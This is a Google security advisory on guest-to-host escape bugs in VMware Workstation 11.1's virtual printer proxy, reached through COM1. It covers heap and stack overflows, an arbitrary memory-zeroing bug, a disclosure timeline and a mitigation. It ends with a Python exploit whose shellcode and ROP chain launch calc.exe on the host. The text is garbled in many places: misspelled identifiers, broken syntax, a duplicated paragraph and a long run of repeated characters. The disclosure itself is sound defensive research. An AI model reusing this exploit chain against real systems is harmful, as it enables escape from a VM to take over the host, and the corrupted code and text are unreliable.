Escaping VMware Workstation through COM1

Kostya Kortchinsky - Google Security Team

Exploit Video

Foreword

These bugs are subject to a 90 day disclosure deadline\(^1\). If 90 days elapse without a broadly available patch, then the bug report will be made available to the public.

Summary

VMware Workstation offers printer “virtualization”, allowing a Guest OS to access and print documents on printers available to the Host OS. On VMware Workstation 11.1, the virtual printer device is added by default to new VMs, and on recent Windows Hosts, the Microsoft XPS Document Writer is available as a default printer. Even if the VMware Tools are not installed in the Guest, the COM1 port can be used to talk to the Host printing Proxy.

vprintproxy.exe is launched on the Host by vmware-vmx.exe as whichever user started VMware. vmware-vmx.exe and vprintproxy.exe communicate through named pipes. When writing to COM1 in the Guest, the packets will eventually end up in vprintproxy.exe for processing.

I won’t go over the subtleties of the protocol, but basically the printer virtualization layer is a glorified file copy operation of EMFSPOOL\(^2\) files from the Guest to the Host. The EMFSPOOL and contained EMF\(^3\) files are processed on the Host by vprintproxy.exe, and can be previewed on the Host thanks to TPView.dll. By supplying specially crafted EMFSPOOL and EMF files to COM1, one can trigger a variety of bugs in the vprintproxy.exe process, and achieve code execution on the Host.

Environment

The rest of this document assumes a Windows 8.1 amd64 Host, a Windows 7 x86 Guest running under VMware Workstation 11.1, with all patches installed. Other platforms have not been investigated.

A fully working exploit is provided for this particular environment.

---


\(^2\) [MS-EMFSPOOL]: Enhanced Metafile Spool Format

\(^3\) [MS-EMF]: Enhanced Metafile Format
Integer underflows when processing custom EMR

The function CTPViewDoc::WriteEMF in TPView.d1l pre-processes an EMF and rewrites it, replacing a couple of custom EMR record types. In the case of an EMR of type 0x8000 and 0x8002, the program will allocate memory based on the size specified for the record, then copy the 8 bytes of the record, subtract 8 to the size and read from the file into the dynamically allocated buffer that amount of bytes. For an EMR record size strictly lower than 8, the subtraction will underflow and result in a heap overflow.

This snippet of code doesn't ensure that the size of the record is at least 8. The integer underflow at (1) will make the program read a large number of bytes into a small buffer, resulting in a heap overflow.

A similarly vulnerable portion of code is handling custom EMR 0x8000.

Multiple vulnerabilities when processing custom EMR 0x8002

In the case of custom EMR record 0x8002, TPView.d1l blindly trusts sizes and offsets provided in the relevant structures and perform unsafe memcpy() operations.
Here, both the contents of esi and ebx are under user’s control, and correspond to the contents of a custom 0x8002 EMR structure. The size of the memory allocated for ebx is not even checked to be at least 0x50 bytes. This results in some heap overflow conditions, as well a relative memory overwrite.

Multiple vulnerabilities when processing custom EMR 0x8000

The custom EMR 0x8000 appears to hold a structure describing a JPEG2000 compressed image. There are several integer overflows when computing the size of a dynamically allocated chunk of memory, that can result in heap overflow conditions.
The program performs unsafe 32-bit arithmetic, leading to an invalid size check prior to a `memcpy()` operation, leading to a heap overflow. The size allocated for that memory check is itself prone to a wrap due to the previous arithmetic operations, as well as the following addition that also might wrap the 32-bit integer:

The program performs unsafe 32-bit arithmetic, leading to an invalid size check prior to a `memcpy()` operation, leading to a heap overflow. The size allocated for that memory check is itself prone to a wrap due to the previous arithmetic operations, as well as the following addition that also might wrap the 32-bit integer:

```
.loc_100225FB:  ; CODE XREF: kk_JpegDecompress+291j
    mov  ebx, [ecx+8]
    imul ebx, eax
    lea eax, [ebx+28h]
    cmp [ebp+arg_10], eax
    jb  loc_1002277F
    mov esi, [ebp+arg_C]
    push 28h ; size_t
    push ecx ; void *
    push esi ; void *
    call _memcpy
```

Stack overflow when processing a JPEG2000

This vulnerability looks conspicuously like CVE-2012-0897[^1], and it might very well be that the same JPEG2000 library was used in both case but has been left unpatched in TView.dll for the last couple of years. Anyway, when processing record 0xff5c (Quantization Default), a user can trigger an overflow of a stack based buffer in a function without a stack cookie - which leads to direct EIP control.

[^1]: [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0897](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0897)
Here, the JPEG2000 parser will just read words as long as the size of the 0xff5c record permits it, while the destination buffer can only hold 0xc4 bytes at most.

Multiple vulnerabilities in EMF record enumeration callback

The CEMF::EnhMetaFileProc function in TPView.dll is used as a callback to EnumEnhMetaFile, and applies some specific processing to several EMR types prior to “playing” them. The sanity of those records is poorly checked, leading to multiple out-of-bounds read or write operations.

Here, the length of the EMR_SMALLTEXTOUT record is not checked to be at least 0x34 prior to operations being carried on fields of the structure.

---

Same issue here for an EMR_EXTTEXTOUTW\(^7\) record.

**Arbitrary memory zeroing in TrueType font checksum verification**

When extracting a TrueType font from the EMFSPPOOL file, TPView.dll will verify the checksum of the font prior to further processing. To do so, it will walk the tables, zero out the padding at the end of a table and checksum the table\(^8\). In doing so, it will trust the 'offset' field of the table record and add it to a pointer to the font buffer. While there is a check to make sure that we don't go past the end of the font, nothing prevents us from referencing and zeroing memory prior to the font, as the 32-bit arithmetic will wrap.


\(^8\) [http://www.microsoft.com/typography/otspec/otff.htm](http://www.microsoft.com/typography/otspec/otff.htm)
The above checks can be bypassed with a "negative" offset, leading to the following memset() and checksum:

As a result, it is possible to zero 1 to 3 bytes (size of the padding) at an arbitrary location relative to the font buffer, as long as it's located before.

**Additional security considerations**

Even when running on a 64-bit platform, vprintproxy.exe is only available as a 32-bit process. It is to be noted that several modules loaded within vprintproxy.exe do not support ASLR, namely:

- iconv.dll
- TPCInt.dll
- TPCIntloc.dll
- TPCInVM.dll
- TPView.dll

Since all those DLLs share the same image base of 0x10000000, only iconv.dll (the 1st to be loaded) will be located at his address. The others' base will be randomized as their original loading address is unavailable.

Also the JPEG2000 parsing is done within a try-catch that catches all exception. This would allow an attacker to bruteforce his/her way to successful exploitation as the vprintproxy.exe would stay alive even through access violations.

**Identified mitigations**

“Disconnect” the Virtual Printer, or remove it entirely in the VM settings, this will stop vprintproxy.exe from running.

**Document revisions**

1.0: initial version
1.1: added the arbitrary zero memory within the TrueType font checksum
1.2: added the integer underflows in the custom EMR processing

**Timeline**

3/5/2015: initial report sent to security@vmware.com
3/6/2015: VMware Security Response Centre acknowledges the receipt of the report
3/12/2015: updated report sent
3/17/2015: VSRC sends the expected timeframe for fixes to be released
3/17/2015: updated report sent
3/18/2015: additional bugs sent to VSRC
4/10/2015: VMware communicates expected date for joint disclosure (6/9)
4/21/2015: VMware assigns 5 CVEs to the issues (CVE-2015-2336 to 2340)
6/9/2015: VMware releases Workstation **11.1.1** for Windows and **VMSA-2015-0004**
Exploit

The provided exploit achieves code execution in the vprintproxy.exe process running on the Host, triggering the JPEG2000 stack overflow by sending a crafted EMFSPOOL through COM1 in the Guest, which doesn't require administrative privileges in the Guest.

Past the crafting of the EMFSPOOL and contained EMF and JPEG2000, the only difficulty was to create a ROP chain based on iconv.dll, as this DLL is fairly inconvenient for this purpose. The exploit assumes iconv.dll version 1.9.0.1 and TPview.dll version 8.8.856.1, but since exceptions are caught by the JPEG2000 parser, additional targets can be supported through multiple tries.

```python
from ctypes import *
from ctypes.wintypes import BYTE, WORD, DWORD
import sys
import struct
import binascii
import array
import zlib

class DCB(Structure):
    _fields_ = [
        ('DCBLength', DWORD),
        ('BaudRate', DWORD),
        ('fBinary', DWORD, 1),
        ('fParity', DWORD, 1),
        ('fOutxCtsFlow', DWORD, 1),
        ('fOutxDsrFlow', DWORD, 1),
        ('fDtrControl', DWORD, 2),
        ('fDsrSensitivity', DWORD, 1),
        ('fTXContinueOnXoff', DWORD, 1),
        ('fOutX', DWORD, 1),
        ('fInX', DWORD, 1),
        ('fErrorChar', DWORD, 1),
        ('fNull', DWORD, 1),
        ('fRtsControl', DWORD, 2),
        ('fAbortOnError', DWORD, 1),
        ('fDummy2', DWORD, 17),
        ('wReserved', WORD),
        ('XonLim', WORD),
        ('XoffLim', WORD),
        ('ByteSize', BYTE),
        ('Parity', BYTE),
        ('StopBits', BYTE),
        ('XonChar', c_char),
        ('XoffChar', c_char),
        ('ErrorChar', c_char),
        ('EofChar', c_char),
        ('EvtChar', c_char),
        ('wReserved1', WORD),
    ]

class COMMTIMEOUTS(Structure):
```
```python
_fields_ = [
    ('ReadIntervalTimeout', DWORD),
    ('ReadTotalTimeoutMultiplier', DWORD),
    ('ReadTotalTimeoutConstant', DWORD),
    ('WriteTotalTimeoutMultiplier', DWORD),
    ('WriteTotalTimeoutConstant', DWORD),
]

class TPVM:

    SERIAL_PORT=b'\\\\\COM1'

    def __init__(self):
        self.hPort=windll.kernel32.CreateFileA(self.SERIAL_PORT,
                            0xc0000000,
#GENERIC_READ|GENERIC_WRITE
            3, #FILE_SHARE_READ|FILE_SHARE_WRITE
            None,
            3, #OPEN_EXISTING
            0,
            None)

            if (self.hPort&0xffffffff)===0xffffffff:
                raise Exception('the serial port could not be opened
(0x%08x)'%(GetLastError()))
            if not windll.kernel32.SetupComm(self.hPort,
                0x20000,
                0x84d0):
                raise WinError()

dcb=DCL()
        dcb.DCfLength=0x1c
        dcb.BaudRate=0x1C200
        dcb.fBinary=1
        dcb.fOutxCtsFlow=1
        dcb.fDtrControl=2
        dcb.fRtsControl=2
        dcb.ByteSize=8
        dcb.fAbortOnError=1
        windll.kernel32.SetCommState(self.hPort,
                        byref(dcb))
        commtimouts=COMMTIMOUTS()
        commtimouts.ReadIntervalTimeout=0
        commtimouts.ReadTotalTimeoutMultiplier=0
        commtimouts.ReadTotalTimeoutConstant=20000
        commtimouts.WriteTotalTimeoutMultiplier=0
        commtimouts.WriteTotalTimeoutConstant=20000

        if not windll.kernel32.SetCommTimeouts(self.hPort,
                        byref(commtimouts)):
            raise WinError()

    def __write_packet(self, buffer):
        bytesWritten=DWORD(0)
        if not windll.kernel32.WriteFile(self.hPort,
            buffer,
            len(buffer),
            byref(bytesWritten),
            None):
            raise WinError()
        print('%d bytes written' %(bytesWritten.value))

    def __read_packet(self, n):
```
buffer=c_buffer(n)
bytesRead=DWORD(0)
if not windll.kernel32.ReadFile(self.hPort, buffer, n, byref(bytesRead), None):
    raise WinError()
print('%d bytes read' % (bytesRead.value))
return buffer.raw

def write(self, buffer):
    while len(buffer)!=-0:
        n=min(len(buffer),0x7ffd)
        self.__write_packet(struct.pack('<H',n)+buffer[:n])
        buffer=buffer[n:]

def __read_1byte(self):
    b=self.__read_packet(1)
    if len(b)!=1:
        return 1
    return struct.unpack('<B',b)[0]

def do_command(self,cmd):
    self.__write_packet(struct.pack('<H',cmd))
    if cmd==0x8002:
        return 0
    return self.__read_1byte()

def do_data(self,d):
    self.__write(d)
    return self.__read_1byte()

def close(self):
    windll.kernel32.CloseHandle(self.hPort)

def main(args):
    #some constants
    PRINTER_ID=1 #should probably be an argument really

SHELLCODE=binscii.a2b_hex('e8800000005b8db31b010000568db313010000566da0268884e0d00e8
1700000060a08d38321000050ff931b010006a00ff931f010000558e55156578b4d0c8b75108b7d14
ff36ff7558e8130000000907983c70483c604e2ec55e5989ec5dc210005589e55356575164ff3530000
00588b400cb840c861b8b41306a028b7d085750e85b00000085c0740489debe78b4118508bb583c01d8
8b5878585001c38b4b1c8b53208b5b2401c101c201c38b32585001c66a01ff750c5e82300000085c074
0883c20483c302ee35831d2668b13c1e20201d10301595f5e5b89e5c5dc208005589e551535231c931db
31d20b4508a100ca6001d3de30345108a0884ce0ee31c08b4d0c39cb7401405a5b5999ec5dc20c00
ea6f0000945d030000000000000000000063616c632e65786500') #Didier Stevens'

winexec/win32thread
WRITABLE=0x1010ff00 #end of the .idata section of conv.dll
BASE=0x40000000 #where we want the virtualalloc

t=TPVM()
t.do_command(0x8001)
#header
t.do_data(struct.pack('<20sIIIb', '%d' % (PRINTER_ID)).encode('utf-8'),2,0xd,0,0))
#jobHeader
t.do_data(binscii.a2b_hex('3100100100150010016001700180021002f003000000000063727970
746f61640050494e42414c4557495a415244000000'))
o+=struct.pack('!I',WRITABLE) #target
o+=struct.pack('!I',0x000000f4) #value --esp offset
o+=struct.pack('!I',WRITABLE) #writable --edx
o+=struct.pack('!I',0x1001c595) #pop ecx\x01
o+=struct.pack('!I',0x7fffffff) #
o+=struct.pack('!I',0x1001cae4) #jmp ds:InterlockedExchange
o+=struct.pack('!I',0x1001c1e0) #__alloca_probe
o+=struct.pack('!I',WRITABLE) #target
o+=struct.pack('!I',0x00078c48) #.idata!VirtualAlloc@edi
o+=struct.pack('!I',0x1001cae4) #jmp ds:InterlockedExchange
while (len(o)-2)%6!=0: #padding to satisfy length requirements
  o+=b':'
  #jp2 contents --the code still parses the codestream if no valid header is present, so I skipped it
j+=b':'
j+=struct.pack('!H',0xff4f) #SOC marker
j+=struct.pack('!HH',0xff51,0x29) #SIZ marker
j+=struct.pack('!'HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
```python
dm=b'%%EMF'+struct.pack('<BI',2,len(dm)+5)+dm
#emf_spool
h=struct.pack('<II',0x10,0)+'Google\0'.encode('utf-16le')+struct.pack('<HII',0xdead,0xc,len(emf))
h=struct.pack('<II',0x10000,len(h))+h
#emri_metafile_ext
f=struct.pack('<IIII',0xd,8,len(emf)+8,0) #"offset is counted backward"
e=dm+h+emf+f
d=zlib.compress(e,9)
d=struct.pack('<II',len(d),len(e))+d
d=struct.pack('<H',0)+d
################
t.do_data(d)
t.do_command(0x8002)
t.close()

if __name__ == '__main__':
    main(sys.argv)
```